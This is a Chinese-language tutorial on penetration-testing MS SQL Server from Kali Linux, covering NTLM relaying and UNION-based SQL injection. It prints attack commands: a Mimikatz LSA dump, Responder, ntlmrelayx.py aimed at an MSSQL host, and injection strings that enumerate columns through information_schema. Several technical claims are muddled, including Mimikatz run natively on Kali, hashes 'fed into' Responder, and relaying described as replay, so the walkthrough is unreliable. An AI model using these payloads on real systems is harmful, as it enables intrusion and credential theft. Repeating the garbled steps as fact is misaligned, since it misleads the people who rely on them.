1. 简介
作为一名渗透测试人员,熟练操作Kali Linux是必不可少的技能之一。而在Kali下进行MS SQL渗透也是很常见的一项工作。但是,MS SQL Server的安全性在不断提升,传统的渗透测试方法难以突破。这时候就需要掌握新的技术来进行渗透测试。本文将介绍一些新的技术来突破Kali下MS SQL渗透的难点。
2. 突破难点
2.1 Windows身份验证
MS SQL Server的身份验证分为Windows身份验证和SQL Server身份验证。其中,Windows身份验证是将用户的Windows登录名和密码与SQL Server的登录名和密码进行匹配,如果匹配成功则可以进行操作。这个身份验证方法使用了Windows的安全机制,因此比SQL Server身份验证更加安全。
传统的渗透测试方法中,如果MS SQL Server使用Windows身份验证,我们只能尝试使用默认账号密码或暴力破解的方法来获取登录权限。但是随着安全性的提高,这些方法已经不再好用。因此,我们需要使用一些新的技术来尝试获取Windows身份验证的登录权限。
2.2 SQL注入检测和绕过
SQL注入是指攻击者通过对SQL语句进行恶意操作来获取对数据库的控制权,从而实现对数据库的非法访问。SQL注入是一种经典的攻击方式,也是MS SQL Server最容易受到攻击的方式之一。
在渗透测试中,我们需要对MS SQL Server进行SQL注入检测。此外,如果我们成功获取了数据库的权限,还需要使用一些有效的绕过技术来突破一些特定的安全保护措施。这些技术都是我们需要掌握的重要内容。
3. 新技术
3.1 NTLM Relaying攻击
NTLM(NT LanMan)是Windows系统的一种身份认证协议,常用于Windows域环境中。NTLM Relaying攻击是一种能够通过重放攻击来绕过Windows身份验证的方法。该攻击利用了Windows的安全漏洞,在无法直接访问目标机器时只需与另一台机器进行通信,即可获取目标机器的NTLM哈希值。通过这种方法,我们可以获取到Windows身份验证的登录权限。
下面是一个在Kali Linux上针对MS SQL Server的NTLM Relaying攻击的示例。首先,我们使用Mimikatz来获取NTLM哈希值:
./mimikatz
privilege::debug
lsadump::lsa /patch /name:MSSQLSvc/hostname:port
其中,hostname是MS SQL Server的主机名,port是MS SQL Server的端口号。
然后,我们将获取到的NTLM哈希值放入Responder中:
sudo responder -I eth0 -f -v -w
最后,我们使用NTLM Relaying攻击来获取MS SQL Server的登录权限:
sudo ntlmrelayx.py -t mssql://hostname -smb2support -socks
其中,hostname是MS SQL Server的主机名。
通过这种方法,我们可以轻松地绕过Windows身份验证的安全机制,获取到MS SQL Server的登录权限。
3.2 UNION查询绕过
UNION查询是一种将两个或多个查询的结果合并成一个查询结果的方法。在渗透测试中,我们可以利用UNION查询来绕过一些限制条件。
下面是一个在Kali Linux上针对MS SQL Server的UNION查询绕过的示例。首先,我们使用以下语句来获取表的列数:
?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
接着,我们使用以下语句来获取指定列的数据:
?id=1' UNION SELECT null,null,null,null,null,null,null,null,null,表名+CHAR(124)+列名 FROM information_schema.columns WHERE table_name='表名'-- -
其中,表名和列名是需要替换成相应的名称。
通过这种方法,我们可以轻松地突破一些限制条件,获取到MS SQL Server的敏感信息。
总结
本文介绍了一些新的技术来突破Kali下MS SQL渗透的难点。通过掌握这些技术,我们可以更加轻松地进行MS SQL渗透测试,并且成功突破一些特定的安全保护措施。但是,在进行渗透测试时,我们也需要遵守合法的道德准则,以免对被测试的系统造成不必要的损失。